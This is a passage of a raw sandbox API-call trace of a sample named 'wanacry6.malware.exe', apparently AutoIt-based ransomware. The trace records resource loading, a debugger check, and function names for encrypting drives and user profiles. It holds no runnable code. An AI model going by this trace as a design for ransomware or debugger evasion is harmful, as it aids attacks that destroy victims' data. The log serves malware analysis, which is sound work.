wLanguage=0x0) returned 0x7ff756c3d3d8 [0034.796] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0034.796] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0034.796] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0034.796] ISequentialStream:RemoteWrite (in: This=0x26a4b166b0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0034.796] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0034.796] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x26a4a5f518 | out: plibNewPosition=0x26a4a5f518) returned 0x0 [0034.796] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4b20a30, cb=0x18, pcbRead=0x26a4a5f460 | out: pv=0x26a4b20a30*=0xa3, pcbRead=0x26a4a5f460*=0x18) returned 0x0 [0034.796] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x26a4a5f460 | out: plibNewPosition=0x26a4a5f460) returned 0x0 [0034.796] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5f500, cb=0x4, pcbRead=0x26a4a5f460 | out: pv=0x26a4a5f500*=0x45, pcbRead=0x26a4a5f460*=0x4) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5f530, cb=0x10, pcbRead=0x26a4a5f500 | out: pv=0x26a4a5f530*=0x4d, pcbRead=0x26a4a5f500*=0x10) returned 0x0 [0034.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a5f3c0 | out: lpSystemTimeAsFileTime=0x26a4a5f3c0*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.797] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x26a4a5f598 | out: plibNewPosition=0x26a4a5f598) returned 0x0 [0034.797] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x26a4a5ee70 | out: plibNewPosition=0x26a4a5ee70) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5ec20, cb=0x4, pcbRead=0x26a4a5ebf0 | out: pv=0x26a4a5ec20*=0x6b, pcbRead=0x26a4a5ebf0*=0x4) returned 0x0 [0034.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a5eab0 | out: lpSystemTimeAsFileTime=0x26a4a5eab0*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5ee88, cb=0x4, pcbRead=0x26a4a5ebf0 | out: pv=0x26a4a5ee88*=0xa6, pcbRead=0x26a4a5ebf0*=0x4) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5ec30, cb=0x34, pcbRead=0x26a4a5ebf0 | out: pv=0x26a4a5ec30*=0xe1, pcbRead=0x26a4a5ebf0*=0x34) returned 0x0 [0034.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a5eab0 | out: lpSystemTimeAsFileTime=0x26a4a5eab0*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5ee88, cb=0x4, pcbRead=0x26a4a5ebf0 | out: pv=0x26a4a5ee88*=0x43, pcbRead=0x26a4a5ebf0*=0x4) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5f340, cb=0xc6, pcbRead=0x26a4a5ebf0 | out: pv=0x26a4a5f340*=0xcd, pcbRead=0x26a4a5ebf0*=0xc6) returned 0x0 [0034.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a5eab0 | out: lpSystemTimeAsFileTime=0x26a4a5eab0*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5f580, cb=0x1, pcbRead=0x26a4a5ee70 | out: pv=0x26a4a5f580*=0x0, pcbRead=0x26a4a5ee70*=0x1) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5eea0, cb=0x4, pcbRead=0x26a4a5ee70 | out: pv=0x26a4a5eea0*=0xbc, pcbRead=0x26a4a5ee70*=0x4) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5eea0, cb=0x4, pcbRead=0x26a4a5ee70 | out: pv=0x26a4a5eea0*=0xbc, pcbRead=0x26a4a5ee70*=0x4) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4a5eea0, cb=0x4, pcbRead=0x26a4a5ee70 | out: pv=0x26a4a5eea0*=0x84, pcbRead=0x26a4a5ee70*=0x4) returned 0x0 [0034.797] IStream:RemoteSeek (in: This=0x26a4b166b0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x26a4a5ee70 | out: plibNewPosition=0x26a4a5ee70) returned 0x0 [0034.797] ISequentialStream:RemoteRead (in: This=0x26a4b166b0, pv=0x26a4b20470, cb=0x0, pcbRead=0x26a4a5ee70 | out: pv=0x26a4b20470*=0x0, pcbRead=0x26a4a5ee70*=0x0) returned 0x0 [0034.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a5ed30 | out: lpSystemTimeAsFileTime=0x26a4a5ed30*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.797] CloseHandle (hObject=0x14c) returned 1 [0034.797] IUnknown:Release (This=0x26a4b166b0) returned 0x0 [0034.798] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0034.798] IsDebuggerPresent () returned 0 [0034.798] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x26a4a3f5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0034.798] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0x26a4a3f5c0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0034.799] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0x26a4a3f570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0034.799] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0034.799] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0034.799] Wow64DisableWow64FsRedirection (in: OldValue=0x26a4a4f4f0 | out: OldValue=0x26a4a4f4f0*=0x0) returned 0 [0034.799] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0034.799] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26a4a4f2c0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0034.799] GetFileType (hFile=0x14c) returned 0x1 [0034.799] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0034.800] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0034.800] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0034.800] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0034.800] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0034.800] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x26a4a4f570 | out: ppstm=0x26a4a4f570*=0x26a4b16970) returned 0x0 [0034.800] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0034.800] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0034.800] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0034.800] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0034.800] ISequentialStream:RemoteWrite (in: This=0x26a4b16970, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x26a4a4f488 | out: plibNewPosition=0x26a4a4f488) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4b20ce0, cb=0x18, pcbRead=0x26a4a4f3d0 | out: pv=0x26a4b20ce0*=0xa3, pcbRead=0x26a4a4f3d0*=0x18) returned 0x0 [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x26a4a4f3d0 | out: plibNewPosition=0x26a4a4f3d0) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4f470, cb=0x4, pcbRead=0x26a4a4f3d0 | out: pv=0x26a4a4f470*=0x45, pcbRead=0x26a4a4f3d0*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4f4a0, cb=0x10, pcbRead=0x26a4a4f470 | out: pv=0x26a4a4f4a0*=0x4d, pcbRead=0x26a4a4f470*=0x10) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4f330 | out: lpSystemTimeAsFileTime=0x26a4a4f330*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x26a4a4f508 | out: plibNewPosition=0x26a4a4f508) returned 0x0 [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x26a4a4ede0 | out: plibNewPosition=0x26a4a4ede0) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4eb90, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4eb90*=0x6b, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4edf8, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4edf8*=0xa6, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4eba0, cb=0x34, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4eba0*=0xe1, pcbRead=0x26a4a4eb60*=0x34) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4edf8, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4edf8*=0x43, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4f2b0, cb=0xc6, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4f2b0*=0xcd, pcbRead=0x26a4a4eb60*=0xc6) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0x26a4a4eb60 | out: plibNewPosition=0x26a4a4eb60) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4eb98, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4eb98*=0xbc, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0x26a4a4eb60 | out: plibNewPosition=0x26a4a4eb60) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4eb90, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4eb90*=0x6b, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4edf8, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4edf8*=0xaf, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4eba0, cb=0x26, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4eba0*=0xe6, pcbRead=0x26a4a4eb60*=0x26) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4edf8, cb=0x4, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4edf8*=0x47, pcbRead=0x26a4a4eb60*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4f2b0, cb=0xce, pcbRead=0x26a4a4eb60 | out: pv=0x26a4a4f2b0*=0xbf, pcbRead=0x26a4a4eb60*=0xce) returned 0x0 [0034.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4ea20 | out: lpSystemTimeAsFileTime=0x26a4a4ea20*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4f4f0, cb=0x1, pcbRead=0x26a4a4ede0 | out: pv=0x26a4a4f4f0*=0x1, pcbRead=0x26a4a4ede0*=0x1) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4ee10, cb=0x4, pcbRead=0x26a4a4ede0 | out: pv=0x26a4a4ee10*=0x28, pcbRead=0x26a4a4ede0*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4ee10, cb=0x4, pcbRead=0x26a4a4ede0 | out: pv=0x26a4a4ee10*=0x23, pcbRead=0x26a4a4ede0*=0x4) returned 0x0 [0034.801] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4a4ee10, cb=0x4, pcbRead=0x26a4a4ede0 | out: pv=0x26a4a4ee10*=0xf4, pcbRead=0x26a4a4ede0*=0x4) returned 0x0 [0034.802] IStream:RemoteSeek (in: This=0x26a4b16970, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x26a4a4ede0 | out: plibNewPosition=0x26a4a4ede0) returned 0x0 [0034.802] ISequentialStream:RemoteRead (in: This=0x26a4b16970, pv=0x26a4b20ce0, cb=0x9394, pcbRead=0x26a4a4ede0 | out: pv=0x26a4b20ce0*=0x6d, pcbRead=0x26a4a4ede0*=0x9394) returned 0x0 [0034.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26a4a4eca0 | out: lpSystemTimeAsFileTime=0x26a4a4eca0*(dwLowDateTime=0x487dac2e, dwHighDateTime=0x1d31057)) [0034.819] IUnknown:Release (This=0x26a4b16970) returned 0x0 [0034.820] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0034.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0x26a4a6f710, lpFilePart=0x26a4a7f758 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x26a4a7f758*="wanacry6.malware.exe") returned 0x31 [0034.820] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0034.820] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0034.820] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0034.820] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0034.820] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0034.821] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0034.821] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0034.821] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0034.821] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0034.821] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0034.821] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0034.821] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0034.821] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0034.821] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0034.821] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0034.822] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0034.822] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0034.822] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0034.822] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0034.822] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0034.822] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0034.822] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0034.822] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0034.823] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0034.823] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0034.823] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0034.823] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.823] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0034.824] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0034.824] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.824] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0034.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0034.825] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0034.825] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0034.825] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0034.825] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0034.825] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0034.825] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0034.825] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0034.826] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0034.826] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0034.826] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 